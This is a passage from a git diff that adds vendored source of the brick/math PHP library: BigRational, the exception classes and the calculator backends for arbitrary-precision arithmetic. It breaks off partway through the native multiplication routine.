/** + * Returns the exact value of this number as a native integer. + * + * If this number cannot be converted to a native integer without losing precision, an exception is thrown. + * Note that the acceptable range for an integer depends on the platform and differs for 32-bit and 64-bit. + * + * @return int The converted value. + * + * @throws MathException If this number cannot be exactly converted to a native integer. + */ + abstract public function toInt() : int; + + /** + * Returns an approximation of this number as a floating-point value. + * + * Note that this method can discard information as the precision of a floating-point value + * is inherently limited. + * + * If the number is greater than the largest representable floating point number, positive infinity is returned. + * If the number is less than the smallest representable floating point number, negative infinity is returned. + * + * @return float The converted value. + */ + abstract public function toFloat() : float; + + /** + * Returns a string representation of this number. + * + * The output of this method can be parsed by the `of()` factory method; + * this will yield an object equal to this one, without any information loss. + * + * @return string + */ + abstract public function __toString() : string; + + /** + * {@inheritdoc} + */ + public function jsonSerialize() : string + { + return $this->__toString(); + } +} diff --git a/vendor/brick/math/src/BigRational.php b/vendor/brick/math/src/BigRational.php new file mode 100644 index 000000000..bee094f73 --- /dev/null +++ b/vendor/brick/math/src/BigRational.php @@ -0,0 +1,523 @@ +isZero()) { + throw DivisionByZeroException::denominatorMustNotBeZero(); + } + + if ($denominator->isNegative()) { + $numerator = $numerator->negated(); + $denominator = $denominator->negated(); + } + } + + $this->numerator = $numerator; + $this->denominator = $denominator; + } + + /** + * Creates a BigRational of the given value. + * + * @param BigNumber|int|float|string $value + * + * @return BigRational + * + * @throws MathException If the value cannot be converted to a BigRational. + * + * @psalm-pure + */ + public static function of($value) : BigNumber + { + return parent::of($value)->toBigRational(); + } + + /** + * Creates a BigRational out of a numerator and a denominator. + * + * If the denominator is negative, the signs of both the numerator and the denominator + * will be inverted to ensure that the denominator is always positive. + * + * @param BigNumber|int|float|string $numerator The numerator. Must be convertible to a BigInteger. + * @param BigNumber|int|float|string $denominator The denominator. Must be convertible to a BigInteger. + * + * @return BigRational + * + * @throws NumberFormatException If an argument does not represent a valid number. + * @throws RoundingNecessaryException If an argument represents a non-integer number. + * @throws DivisionByZeroException If the denominator is zero. + * + * @psalm-pure + */ + public static function nd($numerator, $denominator) : BigRational + { + $numerator = BigInteger::of($numerator); + $denominator = BigInteger::of($denominator); + + return new BigRational($numerator, $denominator, true); + } + + /** + * Returns a BigRational representing zero. + * + * @return BigRational + * + * @psalm-pure + */ + public static function zero() : BigRational + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigRational|null $zero + */ + static $zero; + + if ($zero === null) { + $zero = new BigRational(BigInteger::zero(), BigInteger::one(), false); + } + + return $zero; + } + + /** + * Returns a BigRational representing one. + * + * @return BigRational + * + * @psalm-pure + */ + public static function one() : BigRational + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigRational|null $one + */ + static $one; + + if ($one === null) { + $one = new BigRational(BigInteger::one(), BigInteger::one(), false); + } + + return $one; + } + + /** + * Returns a BigRational representing ten. + * + * @return BigRational + * + * @psalm-pure + */ + public static function ten() : BigRational + { + /** + * @psalm-suppress ImpureStaticVariable + * @var BigRational|null $ten + */ + static $ten; + + if ($ten === null) { + $ten = new BigRational(BigInteger::ten(), BigInteger::one(), false); + } + + return $ten; + } + + /** + * @return BigInteger + */ + public function getNumerator() : BigInteger + { + return $this->numerator; + } + + /** + * @return BigInteger + */ + public function getDenominator() : BigInteger + { + return $this->denominator; + } + + /** + * Returns the quotient of the division of the numerator by the denominator. + * + * @return BigInteger + */ + public function quotient() : BigInteger + { + return $this->numerator->quotient($this->denominator); + } + + /** + * Returns the remainder of the division of the numerator by the denominator. + * + * @return BigInteger + */ + public function remainder() : BigInteger + { + return $this->numerator->remainder($this->denominator); + } + + /** + * Returns the quotient and remainder of the division of the numerator by the denominator. + * + * @return BigInteger[] + */ + public function quotientAndRemainder() : array + { + return $this->numerator->quotientAndRemainder($this->denominator); + } + + /** + * Returns the sum of this number and the given one. + * + * @param BigNumber|int|float|string $that The number to add. + * + * @return BigRational The result. + * + * @throws MathException If the number is not valid. + */ + public function plus($that) : BigRational + { + $that = BigRational::of($that); + + $numerator = $this->numerator->multipliedBy($that->denominator); + $numerator = $numerator->plus($that->numerator->multipliedBy($this->denominator)); + $denominator = $this->denominator->multipliedBy($that->denominator); + + return new BigRational($numerator, $denominator, false); + } + + /** + * Returns the difference of this number and the given one. + * + * @param BigNumber|int|float|string $that The number to subtract. + * + * @return BigRational The result. + * + * @throws MathException If the number is not valid. + */ + public function minus($that) : BigRational + { + $that = BigRational::of($that); + + $numerator = $this->numerator->multipliedBy($that->denominator); + $numerator = $numerator->minus($that->numerator->multipliedBy($this->denominator)); + $denominator = $this->denominator->multipliedBy($that->denominator); + + return new BigRational($numerator, $denominator, false); + } + + /** + * Returns the product of this number and the given one. + * + * @param BigNumber|int|float|string $that The multiplier. + * + * @return BigRational The result. + * + * @throws MathException If the multiplier is not a valid number. + */ + public function multipliedBy($that) : BigRational + { + $that = BigRational::of($that); + + $numerator = $this->numerator->multipliedBy($that->numerator); + $denominator = $this->denominator->multipliedBy($that->denominator); + + return new BigRational($numerator, $denominator, false); + } + + /** + * Returns the result of the division of this number by the given one. + * + * @param BigNumber|int|float|string $that The divisor. + * + * @return BigRational The result. + * + * @throws MathException If the divisor is not a valid number, or is zero. + */ + public function dividedBy($that) : BigRational + { + $that = BigRational::of($that); + + $numerator = $this->numerator->multipliedBy($that->denominator); + $denominator = $this->denominator->multipliedBy($that->numerator); + + return new BigRational($numerator, $denominator, true); + } + + /** + * Returns this number exponentiated to the given value. + * + * @param int $exponent The exponent. + * + * @return BigRational The result. + * + * @throws \InvalidArgumentException If the exponent is not in the range 0 to 1,000,000. + */ + public function power(int $exponent) : BigRational + { + if ($exponent === 0) { + $one = BigInteger::one(); + + return new BigRational($one, $one, false); + } + + if ($exponent === 1) { + return $this; + } + + return new BigRational( + $this->numerator->power($exponent), + $this->denominator->power($exponent), + false + ); + } + + /** + * Returns the reciprocal of this BigRational. + * + * The reciprocal has the numerator and denominator swapped. + * + * @return BigRational + * + * @throws DivisionByZeroException If the numerator is zero. + */ + public function reciprocal() : BigRational + { + return new BigRational($this->denominator, $this->numerator, true); + } + + /** + * Returns the absolute value of this BigRational. + * + * @return BigRational + */ + public function abs() : BigRational + { + return new BigRational($this->numerator->abs(), $this->denominator, false); + } + + /** + * Returns the negated value of this BigRational. + * + * @return BigRational + */ + public function negated() : BigRational + { + return new BigRational($this->numerator->negated(), $this->denominator, false); + } + + /** + * Returns the simplified value of this BigRational. + * + * @return BigRational + */ + public function simplified() : BigRational + { + $gcd = $this->numerator->gcd($this->denominator); + + $numerator = $this->numerator->quotient($gcd); + $denominator = $this->denominator->quotient($gcd); + + return new BigRational($numerator, $denominator, false); + } + + /** + * {@inheritdoc} + */ + public function compareTo($that) : int + { + return $this->minus($that)->getSign(); + } + + /** + * {@inheritdoc} + */ + public function getSign() : int + { + return $this->numerator->getSign(); + } + + /** + * {@inheritdoc} + */ + public function toBigInteger() : BigInteger + { + $simplified = $this->simplified(); + + if (! $simplified->denominator->isEqualTo(1)) { + throw new RoundingNecessaryException('This rational number cannot be represented as an integer value without rounding.'); + } + + return $simplified->numerator; + } + + /** + * {@inheritdoc} + */ + public function toBigDecimal() : BigDecimal + { + return $this->numerator->toBigDecimal()->exactlyDividedBy($this->denominator); + } + + /** + * {@inheritdoc} + */ + public function toBigRational() : BigRational + { + return $this; + } + + /** + * {@inheritdoc} + */ + public function toScale(int $scale, int $roundingMode = RoundingMode::UNNECESSARY) : BigDecimal + { + return $this->numerator->toBigDecimal()->dividedBy($this->denominator, $scale, $roundingMode); + } + + /** + * {@inheritdoc} + */ + public function toInt() : int + { + return $this->toBigInteger()->toInt(); + } + + /** + * {@inheritdoc} + */ + public function toFloat() : float + { + return $this->numerator->toFloat() / $this->denominator->toFloat(); + } + + /** + * {@inheritdoc} + */ + public function __toString() : string + { + $numerator = (string) $this->numerator; + $denominator = (string) $this->denominator; + + if ($denominator === '1') { + return $numerator; + } + + return $this->numerator . '/' . $this->denominator; + } + + /** + * This method is required for serializing the object and SHOULD NOT be accessed directly. + * + * @internal + * + * @return array{numerator: BigInteger, denominator: BigInteger} + */ + public function __serialize(): array + { + return ['numerator' => $this->numerator, 'denominator' => $this->denominator]; + } + + /** + * This method is only here to allow unserializing the object and cannot be accessed directly. + * + * @internal + * @psalm-suppress RedundantPropertyInitializationCheck + * + * @param array{numerator: BigInteger, denominator: BigInteger} $data + * + * @return void + * + * @throws \LogicException + */ + public function __unserialize(array $data): void + { + if (isset($this->numerator)) { + throw new \LogicException('__unserialize() is an internal function, it must not be called directly.'); + } + + $this->numerator = $data['numerator']; + $this->denominator = $data['denominator']; + } + + /** + * This method is required by interface Serializable and SHOULD NOT be accessed directly. + * + * @internal + * + * @return string + */ + public function serialize() : string + { + return $this->numerator . '/' . $this->denominator; + } + + /** + * This method is only here to implement interface Serializable and cannot be accessed directly. + * + * @internal + * @psalm-suppress RedundantPropertyInitializationCheck + * + * @param string $value + * + * @return void + * + * @throws \LogicException + */ + public function unserialize($value) : void + { + if (isset($this->numerator)) { + throw new \LogicException('unserialize() is an internal function, it must not be called directly.'); + } + + [$numerator, $denominator] = \explode('/', $value); + + $this->numerator = BigInteger::of($numerator); + $this->denominator = BigInteger::of($denominator); + } +} diff --git a/vendor/brick/math/src/Exception/DivisionByZeroException.php b/vendor/brick/math/src/Exception/DivisionByZeroException.php new file mode 100644 index 000000000..a4e443176 --- /dev/null +++ b/vendor/brick/math/src/Exception/DivisionByZeroException.php @@ -0,0 +1,41 @@ + 126) { + $char = \strtoupper(\dechex($ord)); + + if ($ord < 10) { + $char = '0' . $char; + } + } else { + $char = '"' . $char . '"'; + } + + return new self(sprintf('Char %s is not a valid character in the given alphabet.', $char)); + } +} diff --git a/vendor/brick/math/src/Exception/RoundingNecessaryException.php b/vendor/brick/math/src/Exception/RoundingNecessaryException.php new file mode 100644 index 000000000..1c6100563 --- /dev/null +++ b/vendor/brick/math/src/Exception/RoundingNecessaryException.php @@ -0,0 +1,21 @@ +init($a, $b); + + if ($aNeg && ! $bNeg) { + return -1; + } + + if ($bNeg && ! $aNeg) { + return 1; + } + + $aLen = \strlen($aDig); + $bLen = \strlen($bDig); + + if ($aLen < $bLen) { + $result = -1; + } elseif ($aLen > $bLen) { + $result = 1; + } else { + $result = $aDig <=> $bDig; + } + + return $aNeg ? -$result : $result; + } + + /** + * Adds two numbers. + * + * @param string $a The augend. + * @param string $b The addend. + * + * @return string The sum. + */ + abstract public function add(string $a, string $b) : string; + + /** + * Subtracts two numbers. + * + * @param string $a The minuend. + * @param string $b The subtrahend. + * + * @return string The difference. + */ + abstract public function sub(string $a, string $b) : string; + + /** + * Multiplies two numbers. + * + * @param string $a The multiplicand. + * @param string $b The multiplier. + * + * @return string The product. + */ + abstract public function mul(string $a, string $b) : string; + + /** + * Returns the quotient of the division of two numbers. + * + * @param string $a The dividend. + * @param string $b The divisor, must not be zero. + * + * @return string The quotient. + */ + abstract public function divQ(string $a, string $b) : string; + + /** + * Returns the remainder of the division of two numbers. + * + * @param string $a The dividend. + * @param string $b The divisor, must not be zero. + * + * @return string The remainder. + */ + abstract public function divR(string $a, string $b) : string; + + /** + * Returns the quotient and remainder of the division of two numbers. + * + * @param string $a The dividend. + * @param string $b The divisor, must not be zero. + * + * @return string[] An array containing the quotient and remainder. + */ + abstract public function divQR(string $a, string $b) : array; + + /** + * Exponentiates a number. + * + * @param string $a The base number. + * @param int $e The exponent, validated as an integer between 0 and MAX_POWER. + * + * @return string The power. + */ + abstract public function pow(string $a, int $e) : string; + + /** + * @param string $a + * @param string $b The modulus; must not be zero. + * + * @return string + */ + public function mod(string $a, string $b) : string + { + return $this->divR($this->add($this->divR($a, $b), $b), $b); + } + + /** + * Returns the modular multiplicative inverse of $x modulo $m. + * + * If $x has no multiplicative inverse mod m, this method must return null. + * + * This method can be overridden by the concrete implementation if the underlying library has built-in support. + * + * @param string $x + * @param string $m The modulus; must not be negative or zero. + * + * @return string|null + */ + public function modInverse(string $x, string $m) : ?string + { + if ($m === '1') { + return '0'; + } + + $modVal = $x; + + if ($x[0] === '-' || ($this->cmp($this->abs($x), $m) >= 0)) { + $modVal = $this->mod($x, $m); + } + + $x = '0'; + $y = '0'; + $g = $this->gcdExtended($modVal, $m, $x, $y); + + if ($g !== '1') { + return null; + } + + return $this->mod($this->add($this->mod($x, $m), $m), $m); + } + + /** + * Raises a number into power with modulo. + * + * @param string $base The base number; must be positive or zero. + * @param string $exp The exponent; must be positive or zero. + * @param string $mod The modulus; must be strictly positive. + * + * @return string The power. + */ + abstract public function modPow(string $base, string $exp, string $mod) : string; + + /** + * Returns the greatest common divisor of the two numbers. + * + * This method can be overridden by the concrete implementation if the underlying library + * has built-in support for GCD calculations. + * + * @param string $a The first number. + * @param string $b The second number. + * + * @return string The GCD, always positive, or zero if both arguments are zero. + */ + public function gcd(string $a, string $b) : string + { + if ($a === '0') { + return $this->abs($b); + } + + if ($b === '0') { + return $this->abs($a); + } + + return $this->gcd($b, $this->divR($a, $b)); + } + + private function gcdExtended(string $a, string $b, string &$x, string &$y) : string + { + if ($a === '0') { + $x = '0'; + $y = '1'; + + return $b; + } + + $x1 = '0'; + $y1 = '0'; + + $gcd = $this->gcdExtended($this->mod($b, $a), $a, $x1, $y1); + + $x = $this->sub($y1, $this->mul($this->divQ($b, $a), $x1)); + $y = $x1; + + return $gcd; + } + + /** + * Returns the square root of the given number, rounded down. + * + * The result is the largest x such that x² ≤ n. + * The input MUST NOT be negative. + * + * @param string $n The number. + * + * @return string The square root. + */ + abstract public function sqrt(string $n) : string; + + /** + * Converts a number from an arbitrary base. + * + * This method can be overridden by the concrete implementation if the underlying library + * has built-in support for base conversion. + * + * @param string $number The number, positive or zero, non-empty, case-insensitively validated for the given base. + * @param int $base The base of the number, validated from 2 to 36. + * + * @return string The converted number, following the Calculator conventions. + */ + public function fromBase(string $number, int $base) : string + { + return $this->fromArbitraryBase(\strtolower($number), self::ALPHABET, $base); + } + + /** + * Converts a number to an arbitrary base. + * + * This method can be overridden by the concrete implementation if the underlying library + * has built-in support for base conversion. + * + * @param string $number The number to convert, following the Calculator conventions. + * @param int $base The base to convert to, validated from 2 to 36. + * + * @return string The converted number, lowercase. + */ + public function toBase(string $number, int $base) : string + { + $negative = ($number[0] === '-'); + + if ($negative) { + $number = \substr($number, 1); + } + + $number = $this->toArbitraryBase($number, self::ALPHABET, $base); + + if ($negative) { + return '-' . $number; + } + + return $number; + } + + /** + * Converts a non-negative number in an arbitrary base using a custom alphabet, to base 10. + * + * @param string $number The number to convert, validated as a non-empty string, + * containing only chars in the given alphabet/base. + * @param string $alphabet The alphabet that contains every digit, validated as 2 chars minimum. + * @param int $base The base of the number, validated from 2 to alphabet length. + * + * @return string The number in base 10, following the Calculator conventions. + */ + final public function fromArbitraryBase(string $number, string $alphabet, int $base) : string + { + // remove leading "zeros" + $number = \ltrim($number, $alphabet[0]); + + if ($number === '') { + return '0'; + } + + // optimize for "one" + if ($number === $alphabet[1]) { + return '1'; + } + + $result = '0'; + $power = '1'; + + $base = (string) $base; + + for ($i = \strlen($number) - 1; $i >= 0; $i--) { + $index = \strpos($alphabet, $number[$i]); + + if ($index !== 0) { + $result = $this->add($result, ($index === 1) + ? $power + : $this->mul($power, (string) $index) + ); + } + + if ($i !== 0) { + $power = $this->mul($power, $base); + } + } + + return $result; + } + + /** + * Converts a non-negative number to an arbitrary base using a custom alphabet. + * + * @param string $number The number to convert, positive or zero, following the Calculator conventions. + * @param string $alphabet The alphabet that contains every digit, validated as 2 chars minimum. + * @param int $base The base to convert to, validated from 2 to alphabet length. + * + * @return string The converted number in the given alphabet. + */ + final public function toArbitraryBase(string $number, string $alphabet, int $base) : string + { + if ($number === '0') { + return $alphabet[0]; + } + + $base = (string) $base; + $result = ''; + + while ($number !== '0') { + [$number, $remainder] = $this->divQR($number, $base); + $remainder = (int) $remainder; + + $result .= $alphabet[$remainder]; + } + + return \strrev($result); + } + + /** + * Performs a rounded division. + * + * Rounding is performed when the remainder of the division is not zero. + * + * @param string $a The dividend. + * @param string $b The divisor, must not be zero. + * @param int $roundingMode The rounding mode. + * + * @return string + * + * @throws \InvalidArgumentException If the rounding mode is invalid. + * @throws RoundingNecessaryException If RoundingMode::UNNECESSARY is provided but rounding is necessary. + */ + final public function divRound(string $a, string $b, int $roundingMode) : string + { + [$quotient, $remainder] = $this->divQR($a, $b); + + $hasDiscardedFraction = ($remainder !== '0'); + $isPositiveOrZero = ($a[0] === '-') === ($b[0] === '-'); + + $discardedFractionSign = function() use ($remainder, $b) : int { + $r = $this->abs($this->mul($remainder, '2')); + $b = $this->abs($b); + + return $this->cmp($r, $b); + }; + + $increment = false; + + switch ($roundingMode) { + case RoundingMode::UNNECESSARY: + if ($hasDiscardedFraction) { + throw RoundingNecessaryException::roundingNecessary(); + } + break; + + case RoundingMode::UP: + $increment = $hasDiscardedFraction; + break; + + case RoundingMode::DOWN: + break; + + case RoundingMode::CEILING: + $increment = $hasDiscardedFraction && $isPositiveOrZero; + break; + + case RoundingMode::FLOOR: + $increment = $hasDiscardedFraction && ! $isPositiveOrZero; + break; + + case RoundingMode::HALF_UP: + $increment = $discardedFractionSign() >= 0; + break; + + case RoundingMode::HALF_DOWN: + $increment = $discardedFractionSign() > 0; + break; + + case RoundingMode::HALF_CEILING: + $increment = $isPositiveOrZero ? $discardedFractionSign() >= 0 : $discardedFractionSign() > 0; + break; + + case RoundingMode::HALF_FLOOR: + $increment = $isPositiveOrZero ? $discardedFractionSign() > 0 : $discardedFractionSign() >= 0; + break; + + case RoundingMode::HALF_EVEN: + $lastDigit = (int) $quotient[-1]; + $lastDigitIsEven = ($lastDigit % 2 === 0); + $increment = $lastDigitIsEven ? $discardedFractionSign() > 0 : $discardedFractionSign() >= 0; + break; + + default: + throw new \InvalidArgumentException('Invalid rounding mode.'); + } + + if ($increment) { + return $this->add($quotient, $isPositiveOrZero ? '1' : '-1'); + } + + return $quotient; + } + + /** + * Calculates bitwise AND of two numbers. + * + * This method can be overridden by the concrete implementation if the underlying library + * has built-in support for bitwise operations. + * + * @param string $a + * @param string $b + * + * @return string + */ + public function and(string $a, string $b) : string + { + return $this->bitwise('and', $a, $b); + } + + /** + * Calculates bitwise OR of two numbers. + * + * This method can be overridden by the concrete implementation if the underlying library + * has built-in support for bitwise operations. + * + * @param string $a + * @param string $b + * + * @return string + */ + public function or(string $a, string $b) : string + { + return $this->bitwise('or', $a, $b); + } + + /** + * Calculates bitwise XOR of two numbers. + * + * This method can be overridden by the concrete implementation if the underlying library + * has built-in support for bitwise operations. + * + * @param string $a + * @param string $b + * + * @return string + */ + public function xor(string $a, string $b) : string + { + return $this->bitwise('xor', $a, $b); + } + + /** + * Performs a bitwise operation on a decimal number. + * + * @param string $operator The operator to use, must be "and", "or" or "xor". + * @param string $a The left operand. + * @param string $b The right operand. + * + * @return string + */ + private function bitwise(string $operator, string $a, string $b) : string + { + [$aNeg, $bNeg, $aDig, $bDig] = $this->init($a, $b); + + $aBin = $this->toBinary($aDig); + $bBin = $this->toBinary($bDig); + + $aLen = \strlen($aBin); + $bLen = \strlen($bBin); + + if ($aLen > $bLen) { + $bBin = \str_repeat("\x00", $aLen - $bLen) . $bBin; + } elseif ($bLen > $aLen) { + $aBin = \str_repeat("\x00", $bLen - $aLen) . $aBin; + } + + if ($aNeg) { + $aBin = $this->twosComplement($aBin); + } + if ($bNeg) { + $bBin = $this->twosComplement($bBin); + } + + switch ($operator) { + case 'and': + $value = $aBin & $bBin; + $negative = ($aNeg and $bNeg); + break; + + case 'or': + $value = $aBin | $bBin; + $negative = ($aNeg or $bNeg); + break; + + case 'xor': + $value = $aBin ^ $bBin; + $negative = ($aNeg xor $bNeg); + break; + + // @codeCoverageIgnoreStart + default: + throw new \InvalidArgumentException('Invalid bitwise operator.'); + // @codeCoverageIgnoreEnd + } + + if ($negative) { + $value = $this->twosComplement($value); + } + + $result = $this->toDecimal($value); + + return $negative ? $this->neg($result) : $result; + } + + /** + * @param string $number A positive, binary number. + * + * @return string + */ + private function twosComplement(string $number) : string + { + $xor = \str_repeat("\xff", \strlen($number)); + + $number ^= $xor; + + for ($i = \strlen($number) - 1; $i >= 0; $i--) { + $byte = \ord($number[$i]); + + if (++$byte !== 256) { + $number[$i] = \chr($byte); + break; + } + + $number[$i] = "\x00"; + + if ($i === 0) { + $number = "\x01" . $number; + } + } + + return $number; + } + + /** + * Converts a decimal number to a binary string. + * + * @param string $number The number to convert, positive or zero, only digits. + * + * @return string + */ + private function toBinary(string $number) : string + { + $result = ''; + + while ($number !== '0') { + [$number, $remainder] = $this->divQR($number, '256'); + $result .= \chr((int) $remainder); + } + + return \strrev($result); + } + + /** + * Returns the positive decimal representation of a binary number. + * + * @param string $bytes The bytes representing the number. + * + * @return string + */ + private function toDecimal(string $bytes) : string + { + $result = '0'; + $power = '1'; + + for ($i = \strlen($bytes) - 1; $i >= 0; $i--) { + $index = \ord($bytes[$i]); + + if ($index !== 0) { + $result = $this->add($result, ($index === 1) + ? $power + : $this->mul($power, (string) $index) + ); + } + + if ($i !== 0) { + $power = $this->mul($power, '256'); + } + } + + return $result; + } +} diff --git a/vendor/brick/math/src/Internal/Calculator/BcMathCalculator.php b/vendor/brick/math/src/Internal/Calculator/BcMathCalculator.php new file mode 100644 index 000000000..6632b378a --- /dev/null +++ b/vendor/brick/math/src/Internal/Calculator/BcMathCalculator.php @@ -0,0 +1,116 @@ += 0) { + return \bcmod($a, $b, 0); + } + + return \bcmod($a, $b); + } + + /** + * {@inheritdoc} + */ + public function divQR(string $a, string $b) : array + { + $q = \bcdiv($a, $b, 0); + + if (version_compare(PHP_VERSION, '7.2') >= 0) { + $r = \bcmod($a, $b, 0); + } else { + $r = \bcmod($a, $b); + } + + assert($q !== null); + assert($r !== null); + + return [$q, $r]; + } + + /** + * {@inheritdoc} + */ + public function pow(string $a, int $e) : string + { + return \bcpow($a, (string) $e, 0); + } + + /** + * {@inheritdoc} + * + * @psalm-suppress InvalidNullableReturnType + * @psalm-suppress NullableReturnStatement + */ + public function modPow(string $base, string $exp, string $mod) : string + { + return \bcpowmod($base, $exp, $mod, 0); + } + + /** + * {@inheritDoc} + * + * @psalm-suppress NullableReturnStatement + * @psalm-suppress InvalidNullableReturnType + */ + public function sqrt(string $n) : string + { + return \bcsqrt($n, 0); + } +} diff --git a/vendor/brick/math/src/Internal/Calculator/GmpCalculator.php b/vendor/brick/math/src/Internal/Calculator/GmpCalculator.php new file mode 100644 index 000000000..52d18800a --- /dev/null +++ b/vendor/brick/math/src/Internal/Calculator/GmpCalculator.php @@ -0,0 +1,156 @@ +maxDigits = 9; + break; + + case 8: + $this->maxDigits = 18; + break; + + default: + throw new \RuntimeException('The platform is not 32-bit or 64-bit as expected.'); + } + } + + /** + * {@inheritdoc} + */ + public function add(string $a, string $b) : string + { + /** + * @psalm-var numeric-string $a + * @psalm-var numeric-string $b + */ + $result = $a + $b; + + if (is_int($result)) { + return (string) $result; + } + + if ($a === '0') { + return $b; + } + + if ($b === '0') { + return $a; + } + + [$aNeg, $bNeg, $aDig, $bDig] = $this->init($a, $b); + + $result = $aNeg === $bNeg ? $this->doAdd($aDig, $bDig) : $this->doSub($aDig, $bDig); + + if ($aNeg) { + $result = $this->neg($result); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function sub(string $a, string $b) : string + { + return $this->add($a, $this->neg($b)); + } + + /** + * {@inheritdoc} + */ + public function mul(string $a, string $b) : string + { + /** + * @psalm-var numeric-string $a + * @psalm-var numeric-string $b + */ + $result = $a * $b; + + if (is_int($result)) { + return (string) $result; + } + + if ($a === '0' || $b === '0') { + return '0'; + } + + if ($a === '1') { + return $b; + } + + if ($b === '1') { + return $a; + } + + if ($a === '-1') { + return $this->neg($b); + } + + if ($b === '-1') { + return $this->neg($a); + } + + [$aNeg, $bNeg, $aDig, $bDig] = $this->init($a, $b); + + $result = $this->doMul($aDig, $bDig); + + if ($aNeg !== $bNeg) { + $result = $this->neg($result); + } + + return $result; + } + + /** + * {@inheritdoc} + */ + public function divQ(string $a, string $b) : string + { + return $this->divQR($a, $b)[0]; + } + + /** + * {@inheritdoc} + */ + public function divR(string $a, string $b): string + { + return $this->divQR($a, $b)[1]; + } + + /** + * {@inheritdoc} + */ + public function divQR(string $a, string $b) : array + { + if ($a === '0') { + return ['0', '0']; + } + + if ($a === $b) { + return ['1', '0']; + } + + if ($b === '1') { + return [$a, '0']; + } + + if ($b === '-1') { + return [$this->neg($a), '0']; + } + + /** @psalm-var numeric-string $a */ + $na = $a * 1; // cast to number + + if (is_int($na)) { + /** @psalm-var numeric-string $b */ + $nb = $b * 1; + + if (is_int($nb)) { + // the only division that may overflow is PHP_INT_MIN / -1, + // which cannot happen here as we've already handled a divisor of -1 above. + $r = $na % $nb; + $q = ($na - $r) / $nb; + + assert(is_int($q)); + + return [ + (string) $q, + (string) $r + ]; + } + } + + [$aNeg, $bNeg, $aDig, $bDig] = $this->init($a, $b); + + [$q, $r] = $this->doDiv($aDig, $bDig); + + if ($aNeg !== $bNeg) { + $q = $this->neg($q); + } + + if ($aNeg) { + $r = $this->neg($r); + } + + return [$q, $r]; + } + + /** + * {@inheritdoc} + */ + public function pow(string $a, int $e) : string + { + if ($e === 0) { + return '1'; + } + + if ($e === 1) { + return $a; + } + + $odd = $e % 2; + $e -= $odd; + + $aa = $this->mul($a, $a); + + /** @psalm-suppress PossiblyInvalidArgument We're sure that $e / 2 is an int now */ + $result = $this->pow($aa, $e / 2); + + if ($odd === 1) { + $result = $this->mul($result, $a); + } + + return $result; + } + + /** + * Algorithm from: https://www.geeksforgeeks.org/modular-exponentiation-power-in-modular-arithmetic/ + * + * {@inheritdoc} + */ + public function modPow(string $base, string $exp, string $mod) : string + { + // special case: the algorithm below fails with 0 power 0 mod 1 (returns 1 instead of 0) + if ($base === '0' && $exp === '0' && $mod === '1') { + return '0'; + } + + // special case: the algorithm below fails with power 0 mod 1 (returns 1 instead of 0) + if ($exp === '0' && $mod === '1') { + return '0'; + } + + $x = $base; + + $res = '1'; + + // numbers are positive, so we can use remainder instead of modulo + $x = $this->divR($x, $mod); + + while ($exp !== '0') { + if (in_array($exp[-1], ['1', '3', '5', '7', '9'])) { // odd + $res = $this->divR($this->mul($res, $x), $mod); + } + + $exp = $this->divQ($exp, '2'); + $x = $this->divR($this->mul($x, $x), $mod); + } + + return $res; + } + + /** + * Adapted from https://cp-algorithms.com/num_methods/roots_newton.html + * + * {@inheritDoc} + */ + public function sqrt(string $n) : string + { + if ($n === '0') { + return '0'; + } + + // initial approximation + $x = \str_repeat('9', \intdiv(\strlen($n), 2) ?: 1); + + $decreased = false; + + for (;;) { + $nx = $this->divQ($this->add($x, $this->divQ($n, $x)), '2'); + + if ($x === $nx || $this->cmp($nx, $x) > 0 && $decreased) { + break; + } + + $decreased = $this->cmp($nx, $x) < 0; + $x = $nx; + } + + return $x; + } + + /** + * Performs the addition of two non-signed large integers. + * + * @param string $a The first operand. + * @param string $b The second operand. + * + * @return string + */ + private function doAdd(string $a, string $b) : string + { + [$a, $b, $length] = $this->pad($a, $b); + + $carry = 0; + $result = ''; + + for ($i = $length - $this->maxDigits;; $i -= $this->maxDigits) { + $blockLength = $this->maxDigits; + + if ($i < 0) { + $blockLength += $i; + /** @psalm-suppress LoopInvalidation */ + $i = 0; + } + + /** @psalm-var numeric-string $blockA */ + $blockA = \substr($a, $i, $blockLength); + + /** @psalm-var numeric-string $blockB */ + $blockB = \substr($b, $i, $blockLength); + + $sum = (string) ($blockA + $blockB + $carry); + $sumLength = \strlen($sum); + + if ($sumLength > $blockLength) { + $sum = \substr($sum, 1); + $carry = 1; + } else { + if ($sumLength < $blockLength) { + $sum = \str_repeat('0', $blockLength - $sumLength) . $sum; + } + $carry = 0; + } + + $result = $sum . $result; + + if ($i === 0) { + break; + } + } + + if ($carry === 1) { + $result = '1' . $result; + } + + return $result; + } + + /** + * Performs the subtraction of two non-signed large integers. + * + * @param string $a The first operand. + * @param string $b The second operand. + * + * @return string + */ + private function doSub(string $a, string $b) : string + { + if ($a === $b) { + return '0'; + } + + // Ensure that we always subtract to a positive result: biggest minus smallest. + $cmp = $this->doCmp($a, $b); + + $invert = ($cmp === -1); + + if ($invert) { + $c = $a; + $a = $b; + $b = $c; + } + + [$a, $b, $length] = $this->pad($a, $b); + + $carry = 0; + $result = ''; + + $complement = 10 ** $this->maxDigits; + + for ($i = $length - $this->maxDigits;; $i -= $this->maxDigits) { + $blockLength = $this->maxDigits; + + if ($i < 0) { + $blockLength += $i; + /** @psalm-suppress LoopInvalidation */ + $i = 0; + } + + /** @psalm-var numeric-string $blockA */ + $blockA = \substr($a, $i, $blockLength); + + /** @psalm-var numeric-string $blockB */ + $blockB = \substr($b, $i, $blockLength); + + $sum = $blockA - $blockB - $carry; + + if ($sum < 0) { + $sum += $complement; + $carry = 1; + } else { + $carry = 0; + } + + $sum = (string) $sum; + $sumLength = \strlen($sum); + + if ($sumLength < $blockLength) { + $sum = \str_repeat('0', $blockLength - $sumLength) . $sum; + } + + $result = $sum . $result; + + if ($i === 0) { + break; + } + } + + // Carry cannot be 1 when the loop ends, as a > b + assert($carry === 0); + + $result = \ltrim($result, '0'); + + if ($invert) { + $result = $this->neg($result); + } + + return $result; + } + + /** + * Performs the multiplication of two non-signed large integers. + * + * @param string $a The first operand. + * @param string $b The second operand. + * + * @return string + */ + private function doMul(string $a, string $b) : string + { + $x = \strlen($a); + $y = \strlen($b); + + $maxDigits = \intdiv($this->maxDigits, 2); + $complement = 10 ** $maxDigits; + + $result = '0'; + + for ($i = $x - $maxDigits;; $i -= $maxDigits) { + $blockALength = $maxDigits; + + if ($i < 0) { + $blockALength += $i; + /** @psalm-suppress LoopInvalidation */ + $i = 